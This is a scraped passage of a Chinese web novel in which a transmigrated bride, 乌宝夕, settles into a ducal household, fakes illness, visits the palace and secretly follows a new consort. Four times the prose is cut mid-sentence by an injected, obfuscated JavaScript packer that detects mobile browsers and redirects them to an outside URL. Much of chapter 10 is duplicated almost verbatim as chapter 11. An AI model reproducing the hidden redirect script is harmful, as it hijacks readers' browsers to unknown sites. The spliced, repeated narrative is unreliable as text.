她说话的时候一板一眼面无表情,语气也是公事公办的冰冷严肃。乌宝夕就像是见到了学生时代的教导主任,不由得就泛起怵来。 “不知妈妈今日前来是为何事?” “从前奴婢奉老夫人之命替三少爷掌管院中之事,如今少爷既已成婚,日后这院中大小事宜自然该由少奶奶做主。这些是三少爷院里的人员名册、库房钥匙、物品名录、账册……” 原来是来交接工作的。 阎妈妈说话办事都如她人一样干脆利落,很快便将事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024074|162220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情交接清楚,一项项清晰明了。“奴婢所能想到的就这些了,少奶奶若还有不清楚的尽可再叫奴婢过来。” 说完再一福身,便转身退下。 随着阎妈妈的离开,屋内几人仿若无声地全都呼出一口气。 乌宝夕怎么也没想到目前在这阮国公府里给她压迫感最强的人竟然是阎妈妈! 午饭阮红尘没有来,乌宝夕自己吃的。 菜依旧是卫娘子的手艺,但燕归从厨房回来的时候却小心提了一句:“卫娘子的手艺虽好,但吃久了怕也会腻,小姐要不也尝尝其他口味?” “出什么事了吗?”乌宝夕一听便觉出其中另有端倪。 “倒也没什么,只是奴婢们毕竟初来乍到,对国公府里的人事俱不熟悉,想来先多学多看会更好些。” 燕归话说得含蓄,但乌宝夕听明白了,她们是担心她任人唯亲,会引起阮国公府下人们的不满和排斥。 这忧虑并非无的放矢,是她昨日疏忽了。 “以后便让卫娘子多在厨房学习,平日提膳轮换着拿,我若有想吃的再单独叫她做。” 此事也给乌宝夕提了个醒,她要重新考虑一下对身边人的安排了。 今日看阎妈妈所表现出的意思,以后这院里的事是全权交由她来掌管。 百戏阁虽只是国公府里的一座院落,里里外外伺候的也有几十人。想要完全收付让他们不要生出乱来,也非易事。何况这其中还有她从乌家带来的一众陪房们。 两方人马合作一处,磨合起来也需要时间。 乌宝夕突然感觉自己好像是带着一帮嫡系跳槽空降大厂的高管。上上下下无数双眼睛都在盯着,看她到底是个草包,还是真有能力。 于是,午饭后乌宝夕便令人将百戏阁里所有伺候的人都叫到了一处。 按阎妈妈所给她的人员册子挨个儿见了一遍。 认完了人,她却并没有对他们所负责的事项进行调整。仍旧按照原先的规矩来。至于她带来的陪房们,除去流萤、燕归、知蝉、鹿儿四个贴身伺候她的大丫鬟,其余人全与阮国公府的人混入一处。 本是灶房的就进灶房,该管花草的照样跟着管花草。 乌宝夕这样的安排出乎了众人的意料。 他们原本以为新来的三少奶奶会就此将关键位置的人员抽调,全换成自己的亲信呢。 从寻常商贾之家来到一品国公府,乌家的下人们一个个都小心谨慎,生怕做错了事。但乌宝夕反倒是比从前在乌府时要放得开了许多。 只因从前在乌家,那是原主从小生活长大的地方,周围都是原主的家人长辈。哪怕再不多接触,时间长了也难免会有露出马脚的时候。 到这里就不一样了。陌生的环境,陌生的人,正好可以重新开始。阮国公府的人或许会不喜欢她,看不惯她,甚至不接受她,但却没人会怀疑她的身份。 唯一的隐患—— 乌宝夕忽然想起了阮红尘。 昨夜,有那么几个瞬间她似乎在他的眼睛里看到了“宠溺”? 乌宝夕不解,莫非这位阮三公子与原主之间曾有渊源?! 8. 装病 对于原主的过往记忆,乌宝夕知道的实在不清晰。 就像是得到了一部剪辑混乱被信手拼接的残次影片,里面只有些或长或短的零散片段。有完整些的,前因后果俱在。也有一闪即逝的,只一个模糊影子或画面。 但更多的还是空白。若非如此,她也不至于这么担心露馅。 会曾相识吗? 乌宝夕在心中反复思量,也不知是在问谁。 若他们曾经相识,那阮红尘的一切动机便似乎说得通了。可从乌家上下的态度以及几个贴身丫鬟的反应来看,原主若真的曾与阮红尘有些什么,那未免也藏的太好了…… 不太可能。 因为原主的记忆。 在原主残缺的记忆里,关于母亲、哥哥、身边的丫鬟、甚至乌云嫣的占了大半。而阮红尘呢?乌宝夕没有搜寻到一丝一毫,甚至连似是而非可能相关的都没有。 由此或许可以推断出,那些留下来的都是对原主来说影响深刻的人和记忆。若她与阮红尘真有渊源,不可能没有任何的端倪。 或许曾经认识,或者见过面?但应不会有太深的羁绊。 可如果是这样,那阮红尘的所作所为却又说不通了啊! 他一个国公府嫡公子,到底是为什么会执意要娶一个没什么渊源的商贾女?他又是怎么说服家中长辈同意的? 有关这桩婚事,坊间流传最广的版本是说阮家小少爷在灵竺寺见到前去上香的乌姑娘,小少爷惊鸿一瞥,惊为天人。 那日,乌家女眷的确去了灵竺寺,但那时乌宝夕已经穿过来了,刚醒没多久,家中正是为了她而去灵竺寺还愿。 乌宝夕清楚的知道,她那天没有见过阮红尘。 难道是她看错了? 乌宝夕皱着眉,左思右想怎么都想不明白,总觉得这里面好像缺了一环。 但她现在也无暇再去细想了,因为眼前还有一件更棘手的事情。 阎妈妈亲自领着一位留着山羊胡子,白发白须的老头儿进来。面对乌宝夕疑惑的目光,阎妈妈沉声解释:“三少爷听闻少奶奶身子不适,特意请了大夫入府,来给少奶奶瞧病。” 大夫! 乌宝夕一惊,强压着才没在面上表露出来。 一边在心中暗骂阮红尘。 事情要从几天前说起。 自那日敬茶之后,乌宝夕怕阮红尘来自己房中,于是谎称月事来了身体不便。 一开始是谎称,后来是真的来了。以至于一连半月,阮红尘过来她都身体不便。 这毕竟也只是权宜之计,乌宝夕还在发愁以后怎么办,没想到阮红尘竟就把大夫请来了! 还是这样不打招呼、不由分说。 “劳烦大夫。”阎妈妈言语客气地将人引至乌宝夕面前。 乌宝夕还想找借口推脱,但阎妈妈带来的人已经利落地拿出帕子盖在了乌宝夕腕上,根本不给她推脱的机会。 而且,乌宝夕在面对阎妈妈的时候本就有些怯。 片刻后,老头儿收回搭脉的手。 “大夫,怎么样?”乌宝夕心中忐忑,生怕大夫一张口说她身体康健并无异样。 老头儿捋着山羊胡子,面容稍显沉凝,“气血两虚,先天不足。” 阎妈妈问:“可有什么调养补救之法?” “这病只能养,慢调慢补,急不来。” 没人注意到,随着大夫的这句一锤定音,乌宝夕拢在袖中紧握着的手指悄然放松,不着痕迹地轻吐口气。 还好,大夫没有看出什么端倪来。 原主的确是体弱多病,沉疴缠身,但她的身体在穿越发生时就已经恢复了健康。 所以如今的乌宝夕身体其实与正常人无异,只不过原主之前实在太过瘦弱,看上去还是病怏怏罢了。 “既是要调养,就辛苦大夫开两张方子罢。”阎妈妈领着大夫去了偏厅写方子抓药。 方子很快写好,大夫进来请辞。又例行叮嘱了些注意事项:“老夫所写的药方小姐需按顿服用……” 乌宝夕一一应下。 “另外……”就在流萤准备送阎妈妈与大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024075|162220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫出去时,已经走到门口的白胡子老头儿突然停下脚步,扭头转向乌宝夕。 太阳逆光照在他的身后,乌宝夕看不清他此刻的表情。 “饮食起居上,小姐还是要多注意为好。” 乌宝夕感觉自己的心漏跳了一拍。 他看出来了! 自那日白胡子大夫来过之后,乌宝夕便一直忐忑不安。 吃饭也不香了,睡觉也不安稳,一时间仿佛真的病了一样。养了几个月好不容易养出的几分红润气色眼看着又消了下去。 这可急坏了流萤。 大夫不是开了方子吗?怎么一副副汤药喝下去,原本好端端的姑娘反倒日渐憔悴了? 可她拿着方子出去又找了几个大夫问,人人都说方子没问题,药也都是滋补温养的。 方子没问题,药也没问,那有问题的就只能是人了! 姑爷已经好几天都没露面了,姑娘定是因为这个才神情不属。 流萤又哪里会想到,乌宝夕这些天的煎熬就像是表白后在等待对方的回复。 一开始,她是怕他来。 一心只想逃避、拖延。她因为不知道要怎么解释,找什么样的理由才能编圆这个谎。 可当他这么多天真的迟迟没有反应时,乌宝夕却又迷惑了。 难道是那个白胡子老头儿没有告诉他?又或者他当时根本就没有看出自己在装病?! 她感觉自己陷入了强烈的内耗之中。 到如今,乌宝夕只盼着他快点来,哪怕当面戳穿她都无所谓。是死是活都给个痛快,别像这样钝刀子割肉坐立不安。 然而,没有。 阮红尘这几天也不知道在忙些什么,神龙见首不见尾。 乌宝夕实在忍不住,让流萤去前院书房问问他什么时候有空。 流萤去了没多久就回来了,却依然没见到阮红尘。 乌宝夕问她,流萤低垂着头支支吾吾半晌也没说出个所以然来,最后在乌宝夕的追问之下才说出—— 阮红尘又去了风月楼! 9. 公主 “再往前不远便是太后娘娘的隆寿宫了。” 狭长宫道上,身穿蓝色布衣的小太监领着主仆二人徐徐而行。遇见殿宇楼台,也多不吝口舌,介绍一二。 隆寿宫前,青荷遥遥望见一行人缓步而来。距离尚远,只能?隐约瞧见红墙金瓦间一抹淡绿色的身影,婀娜娉婷。 她向前走了两步,身子从门檐的阴影下移出,立在宫道旁。 片刻后,几人来到近前。 “青荷姑娘。”领路的小太监笑意更深,“阮国公府三少奶奶到了。” 青荷点点头,很是客气地道,“有劳公公。” 说完她转向站在小太监身后的乌宝夕,利落地一福身,“奴婢青荷奉四公主之命,特在此等候三少奶奶。” 乌宝夕抬眼去瞧,这个等在宫门口接她的是个年龄不大的小宫女,说是小宫女,但瞧她的装束,却是个有品级的大宫女。 她长着一张方圆脸,眼睛黑亮有神,说起话来笑意吟吟,不是多美,却给人十足的亲切感。乌宝夕挺喜欢她身上的利落劲儿,也不由得猜测起这位四公主是个什么样的人。 三日前,四公主给阮国公府递了帖子,说三表哥大婚,还没见过新进门的嫂嫂,邀乌宝夕入宫小聚。 乌宝夕正因为阮红尘的事情生气,四公主的帖子正好给了她出去散心的理由,当下没有任何犹豫便应了。 待入了宫门,看见这一路上的红墙金瓦,碧树蓝天,好似沉浸式独游故宫。什么阮红尘啊风月楼,全都被抛到了九霄外。 来之前,乌宝夕已从大嫂崔氏那里得知,四公主乃已故先皇后所出的嫡公主,与大皇子是一母同胞的亲兄妹。因先皇后早逝,四公主自小便养在太后的隆寿宫,是太后娘娘的心头肉。 而四公主的母后,也就是已故的先皇后姓阮,是谢老夫人的小女儿,阮国公的亲妹妹。 所以四公主才会称阮红尘为三表哥。 乌宝夕今日入宫,虽是受四公主之邀。但四公主住在隆寿宫里,按规矩她应先去给太后娘娘请安。 青荷领着她在正殿外磕过头后,便径直往四公主居处而去。 作为太后寝宫,隆寿宫比起寻常宫殿要大上不少。前有花园,后设佛堂。除去太后日常起居所住的正殿外,北面还有隆寿东、中、西三座配宫,东西两侧另各有三所独立配殿。 四公主住在隆寿宫东边的长泰殿,刚踏入东配殿的范围,乌宝夕便感受到这里与隆寿宫其他地方的布置很不一样。 不似正殿的端肃华贵,也不同于西配殿的清雅疏阔,东配殿是一派盎然生机。 一盆盆的菊花顺着廊柱排开,粉的娇艳,白的似雪。院中还用大缸栽着芙蓉,一盆多色,花开如碗。 负责通传的宫女进到殿中没多久,一位身着橙红广袖衫,下穿橘绿长裙的少女提着裙摆快步走出来。 伴随着她而来的是一串银铃般爽朗笑声。“此前便听闻三嫂嫂绝色,有如神女。”她很是好奇地绕着乌宝夕转了一圈,“今日一见果然名不虚传!" “见过四公主。"乌宝夕没想到四公主是这种风格,不过她活了前后两世,什么样的人没见过,片刻的惊讶后很快便恢复自若。 四公主对她似乎是一见如故的样子,“听大嫂嫂说,三嫂嫂与我年龄相差不大。不如以后我便唤你名字吧。” 乌宝夕自是没有意见。她巴不得大家都能如此,这左一个少奶奶,又一个嫂嫂,感觉把自己都叫老了。 “宝夕。”四公主念着她的名字粲然一笑,“你可以也叫我锦歌。” 互通了名姓,两人便算是相识了。四公主热情地拉着乌宝夕往殿内而去,一边走一边聊起来,熟络得仿佛已是多年的好友。“我正好新得一罐茶,明前龙井,不知道你会不会喜欢。” “听说你很擅配茶,能不能给我也配一杯呀?” 四公主的性子极为开朗,一点不见公主的矫情。同时她还很会掌握分寸,言谈间虽直爽却并不强势,与她相处乌宝夕觉得十分舒服。 一上午的时光很快便过去,两人相谈甚欢,都有点相见恨晚的感觉。 于是,乌宝夕当日便在四公主这里住下,多留一日。 第二天恰逢十五。 乌宝夕与四公主去给太后请安,出来正往外走时,迎面见一小太监从宫门外进来,快步穿过院子往正殿而来。 乌宝夕感觉自己的右臂突然被人勾住,脚步凝滞,一回头却见是四公主拉住了她。 面对乌宝夕眼中的疑惑,四公主比了一个噤声的手势。 两人退回到廊下,四公主显然对隆寿宫正殿十分熟悉,推开一间闲置茶房的门,拉着乌宝夕躲进去。 做完这些再转身,透过没有关严的门缝正好看见一行人浩浩汤汤走进院子。 为首者头戴九尾凤簪,身穿朱红锦衣,面容端静目不斜视。在她身后有序跟着的是一群装扮各异却又各有各美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024076|162220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的宫装美人。 不用说,也猜得出来人们的身份。 “撞见了还要见礼,人太多累得慌,咱们在这里避一避。”四公主眨了眨眼,狡黠一笑解释道。“今天来的还有此次大选新入宫的秀女。还没见过呢,正好瞧瞧。” 乌宝夕粗略扫去,皇后一行足有三十余人。说话的功夫皇后已经领着众嫔妃来到正殿前,离得近了果然见人群最末端有几位衣着打扮都明显朴素许多的低位宫妃。 她们的穿戴不如前面高位的娘娘们鲜亮夺目,但胜在年轻朝气。只是本该活力烂漫的新妃们此刻看上去却—— 乌宝夕的目光停留在人群末端中的一人身上,皱眉有些不解:“怎么好像暮气沉沉的?” 听她如此之问,四公主的脸上浮现出一抹意味深长的微笑,“宝夕你是不知前两日在坤和宫里的故事……” 说着,四公主像是闺中少女与好友分享密闻一般,兴致勃勃讲起来。 “三日前,是新秀女们第一次去坤和宫给皇后请安。新人入宫初次亮相,不用猜也知道,想一鸣惊人的、韬光养晦的、泯然于众的……必定是什么样心思的人都有。” 四公主说到这里,眉眼间流露出与年龄极不相符的世故成熟来。 果然在皇宫里长大的孩子,没有天真烂漫一说。 “结果你猜怎么着?”四公主小小卖了个关子。“皇后压根儿就没多提这一茬。新妃们行了大礼之后就被晾在了一边,直到请安结束都无人再搭理。” 乌宝夕望着眼前的那一片愁云惨淡,也不得不说皇后这一招确实高明。 凡是怀着野心想要一朝飞上枝头入宫的,有几个不是自视甚高,暗自骄矜的。对于这样的人,一味打压并不会令其挫败,反倒可能越挫越勇。 而有时候无为却比有为更有力,她明明什么都没做,却让新人们自己泄了气。这不比打压来得轻松讨巧的多。 “不仅如此,听说还有两个秀女因为请安前在坤和宫外拌了几句嘴,被皇后撤了绿头牌。” “当然啦,皇后对外说的是两位秀女规矩好,叫她们留在坤和宫给奴才们教一教规矩。但到底是怎么回事,大家都心知肚明。”四公主眨了眨眼,一副你我都懂的表情。 坤和宫里的人,有哪个轮得到别人来指手画脚?只怕教规矩是假,学一学规矩才是真。 只是,此时乌宝夕想知道的是,那两个被撤了绿头牌的秀女里,有没有乌云嫣。 10. 秀女 “七个人两个被皇后摘了绿头牌,余下的都开始侍寝了,也不知道那被摘了牌子的两人还有没有机会再出头。”四公主说的还是皇后四两拨千斤,警示新人的事。 宫内与宫外消息隔绝,外臣们难以知晓内宫之事。但对于身在其中的人来说,任何风吹草动都会引起注意,无论相干与否。哪怕像是四公主这样,身为皇家子嗣,亦会对父皇的后妃投以极大的关注。 “被摘了绿头牌的两人一个是此次秀女中封位最高、出身也最好的梅美人,另一个则是出自商贾之家的金才人。听闻她们在待选时便多有摩擦。” “梅美人瞧不上金才人的出身,金才人自然也看不惯梅美人的傲气喽。”四公主手指搅着帕子嗤笑道。 在她看来实在是觉得梅美人此举可笑。入了宫还端着从前在家中做小姐时的架子,不是天真就是蠢。 “但你猜这回新晋的秀女里拨头筹的是谁?”四公主眨着眼狡黠问乌宝夕。 乌宝夕看着四公主的眼睛,心头忽然一动。莫非…… “是乌宝林。”四公主见她猜出,顿时笑道,“父皇似乎还挺喜欢她,连召了两天呢。剩下的几个就没听到有什么信儿了,估计不温不火。” 这位乌宝林便是乌云嫣了。 她是在乌宝夕与阮红尘成婚前的半个月进宫参选的。 先过了初选被留牌子,后来又在宫里呆了一个月学习规矩,前段时间殿选得中,刚被封了宝林。 正七品。 她是如何做出入宫的这个决定,心中又是抱着怎样的想法,乌宝夕并不清楚。以两人之间的关系,乌云嫣也并不会和她去讲。 只是在她入宫之前,乌家还发生了一件大事。 乌家二爷养在外面的外室怀孕了,卢老夫人得知后做主将人接进了府。下人们都说只要这人能生下儿子,别说一个姨娘身份,往后这府里谁做主怕都不一定了。 乌宝夕想起从前在家时那个成日红裙不离身的少女,今日却穿了一件素淡至极的浅黄衣衫,一时间有些五味杂陈。 外面皇后已经带着一众妃嫔进入正殿去给太后请安。趁着院中无人的功夫,乌宝夕与四公主重新出来。 今日天气很好,四公主与乌宝夕在隆寿宫外的花园里逛了一阵儿,四公主忽然临时起意想放风筝。结果风筝刚拿来,太后身边的嬷嬷来寻四公主,不知是有什么事。 “公主有事先去吧,不用担心我。我一个人在花园里转转也无妨的。” “那你就在花园里等着我,我一会儿再来寻你。”四公主道。 隆寿花园面积比御花园要小一些,但景致却分毫不输御花园。只因地处隆寿宫范围,平日里嫔妃们怕扰了太后清净少有人来。 乌宝夕带着流萤在园子里慢慢逛着,虽是秋日,花园里不似春天那般繁花似锦。但也别有一番意趣。 在园子中央稍偏南的位置有一个人工凿出的小湖,湖东侧是一片开阔地,地势平坦绿草如茵。西侧则是片假山,大小形态各异的假山石堆叠而起,伴随着花草树木,营造出层峦叠嶂之势。 顺着石块垒砌凿刻而出的台阶步步向上,千姿百态的太湖石不时分支出新的路径,如同一座天然的迷宫。乌宝夕看着那一个个或大或小的孔洞幽深,简直可以想象出在里面捉迷藏的情景。 “小姐慢点。”流萤紧跟在乌宝夕后面,生怕她一个不稳磕到碰到。 一口气爬到山顶,乌宝夕扶着石壁轻喘。 登高望远,这里是整个隆寿花园最高的位置,几乎可以将园中近半的景致收入眼底。 远处拿着铲子水壶干活的宫人、不知从哪儿溜出来散步的小猫,还有独自逛园子的嫔妃…… 想来是请安已经结束了,看她的装扮应是这次新入宫的秀女。没有与人结伴回宫,性子估计清傲或者胆小孤僻。但敢一个人在隆寿宫花园里闲逛,可不像是胆小之人…… 思绪漫无目的地飘荡着,忽然,脑海中有什么东西迅速闪过,乌宝夕猛地回过神来。 不对! 隆寿宫本就在后宫西南,那秀女却还一路向西,所行方向与嫔妃居所背道而驰。 再往西,就要出后宫的范围了。 那边也没什么景致可言,她一个人去那里做什么? “走,去看看。” 乌宝夕迅速回身对流萤道。 流萤想要劝阻,但乌宝夕根本没有给她机会,从假山上下来之后,不由分说地便顺着记忆中的方向一路快步追赶。 幸好此时园中没什么人,否则见她如此模样定然会觉得奇怪。 走了一阵儿并没有看到方才那秀女的身影。 乌宝夕辨了辨位置,确定自己没有走错。 面前只有一条路通向一片竹林。看那竹林茂密遮天蔽日,想必平日里少有人去。 暖阳高悬,她一路追来身上起了一层薄汗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024077|162220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 低矮的花草树丛渐渐消没,目之所及换成了根根挺拔的青竹。初时并不觉得密集,走了一会儿便郁郁葱葱起来。 进入竹林,光线顿时暗了几分,气温也随之下降,没了刚刚园中的暖意。 “小姐,要不咱们回去吧。一会儿四公主她们来了找不到小姐该担心了。”流萤望着满目不知深浅的翠绿心有退意。 乌宝夕安抚她道:“放心吧,宫禁之内这竹林不会很大,只是经年生长,瞧着唬人罢了。” 她说得镇定,但其实心中也难免打鼓。毕竟这里太过僻静,易出事端。 竹叶被风吹得沙沙作响,此前还觉得和暖的春风钻入竹林,就像是被空谷冰泉洗涤了一番似得,变得清冷起来。 身上刚起的那层薄汗此刻被冷风一吹,变成了一层鸡皮疙瘩。 乌宝夕轻抚摸手臂,抹去身体应激之下的轻微战栗。 顺着小径转过一个弯,前方出现一间小竹屋,形制古朴,颇为雅致。 亭上悬一匾额,上书三字:静心斋。 与隆寿花园里各式精巧华丽的水榭楼台亭阁不同,这竹林中的竹屋很有几分遗世独立的味道。 乌宝夕朝流萤比了一个噤声的手势。两人脚步放轻,悄悄靠了上去。 离得近了,隐约可以听见屋内传来窃窃的低语声。 窗户没有关严,透过一指宽的窗隙乌宝夕看见屋中之人正是她刚才所见的那个秀女。 只是从她的角度只能瞧见那秀女的半个侧脸,另外一人则隐在窗扇之后。 说话声停下,秀女似乎从怀里掏出什么东西,对方伸手来接,露出一截墨兰衣袖。 是个男人! “走。”乌宝夕对流萤做口型道。 两人小心翼翼地悄声又退回小路。待走到看不见那竹屋的地方才提裙飞奔。 “今日所见之事不可和任何事提起。”回到假山附近,乌宝夕扶着石壁喘着气叮嘱流萤道。“不仅是宫里,回到府中也不能说!” 流萤虽不明白发生了什么,但也知此事必然关系重大,紧抿着唇点头如捣蒜。 之后的这半天乌宝夕都有些不在状态。 与四公主放风筝时她试了几次都没能成功把风筝飞起来,最后只能让宫人帮忙。 待四公主玩到尽兴,两人回到隆寿宫才得知:阮三公子入宫给太后请安,顺便接三少奶奶回府。这会儿正在主殿陪太后说话呢。 11. 秀女 “七个人两个被皇后摘了绿头牌,余下的都开始侍寝了,也不知道那被摘了牌子的两人还有没有机会再出头。”四公主说的还是皇后四两拨千斤,警示新人的事。 宫内与宫外消息隔绝,外臣们难以知晓内宫之事。但对于身在其中的人来说,任何风吹草动都会引起注意,无论相干与否。哪怕像是四公主这样,身为皇家子嗣,亦会对父皇的后妃投以极大的关注。 “被摘了绿头牌的两人一个是此次秀女中封位最高、出身也最好的梅美人,另一个则是出自商贾之家的金才人。听闻她们在待选时便多有摩擦。” “梅美人瞧不上金才人的出身,金才人自然也看不惯梅美人的傲气喽。”四公主手指搅着帕子嗤笑道。 在她看来实在是觉得梅美人此举可笑。入了宫还端着从前在家中做小姐时的架子,不是天真就是蠢。 “但你猜这回新晋的秀女里拨头筹的是谁?”四公主眨着眼狡黠问乌宝夕。 乌宝夕看着四公主的眼睛,心头忽然一动。莫非…… “是乌宝林。”四公主见她猜出,顿时笑道,“父皇似乎还挺喜欢她,连召了两天呢。剩下的几个就没听到有什么信儿了,估计不温不火。” 这位乌宝林便是乌云嫣了。 她是在乌宝夕与阮红尘成婚前的半个月进宫参选的。 先过了初选被留牌子,后来又在宫里呆了一个月学习规矩,前段时间殿选得中,刚被封了宝林。 正七品。 她是如何做出入宫的这个决定,心中又是抱着怎样的想法,乌宝夕并不清楚。以两人之间的关系,乌云嫣也并不会和她去讲。 只是在她入宫之前,乌家还发生了一件大事。 乌家二爷养在外面的外室怀孕了,卢老夫人得知后做主将人接进了府。下人们都说只要这人能生下儿子,别说一个姨娘身份,往后这府里谁做主怕都不一定了。 乌宝夕想起从前在家时那个成日红裙不离身的少女,今日却穿了一件素淡至极的浅黄衣衫,一时间有些五味杂陈。 外面皇后已经带着一众妃嫔进入正殿去给太后请安。趁着院中无人的功夫,乌宝夕与四公主重新出来。 今日天气很好,四公主与乌宝夕在隆寿宫外的花园里逛了一阵儿,四公主忽然临时起意想放风筝。结果风筝刚拿来,太后身边的嬷嬷来寻四公主,不知是有什么事。 “公主有事先去吧,不用担心我。我一个人在花园里转转也无妨的。” “那你就在花园里等着我,我一会儿再来寻你。”四公主道。 隆寿花园面积比御花园要小一些,但景致却分毫不输御花园。只因地处隆寿宫范围,平日里嫔妃们怕扰了太后清净少有人来。 乌宝夕带着流萤在园子里慢慢逛着,虽是秋日,花园里不似春天那般繁花似锦。但也别有一番意趣。 在园子中央稍偏南的位置有一个人工凿出的小湖,湖东侧是一片开阔地,地势平坦绿草如茵。西侧则是片假山,大小形态各异的假山石堆叠而起,伴随着花草树木,营造出层峦叠嶂之势。 顺着石块垒砌凿刻而出的台阶步步向上,千姿百态的太湖石不时分支出新的路径,如同一座天然的迷宫。乌宝夕看着那一个个或大或小的孔洞幽深,简直可以想象出在里面捉迷藏的情景。 “小姐慢点。”流萤紧跟在乌宝夕后面,生怕她一个不稳磕到碰到。 一口气爬到山顶,乌宝夕扶着石壁轻喘。 登高望远,这里是整个隆寿花园最高的位置,几乎可以将园中近半的景致收入眼底。 远处拿着铲子水壶干活的宫人、不知从哪儿溜出来散步的小猫,还有独自逛园子的嫔妃…… 想来是请安已经结束了,看她的装扮应是这次新入宫的秀女。没有与人结伴回宫,性子估计清傲或者胆小孤僻。但敢一个人在隆寿宫花园里闲逛,可不像是胆小之人…… 思绪漫无目的地飘荡着,忽然,脑海中有什么东西迅速闪过,乌宝夕猛地回过神来。 不对! 隆寿宫本就在后宫西南,那秀女却还一路向西,所行方向与嫔妃居所背道而驰。 再往西,就要出后宫的范围了。 那边也没什么景致可言,她一个人去那里做什么? “走,去看看。” 乌宝夕迅速回身对流萤道。 流萤想要劝阻,但乌宝夕根本没有给她机会,从假山上下来之后,不由分说地便顺着记忆中的方向一路快步追赶。 幸好此时园中没什么人,否则见她如此模样定然会觉得奇怪。 走了一阵儿并没有看到方才那秀女的身影。 乌宝夕辨了辨位置,确定自己没有走错。 面前只有一条路通向一片竹林。看那竹林茂密遮天蔽日,想必平日里少有人去。 暖阳高悬,她一路追来身上起了一层薄汗。

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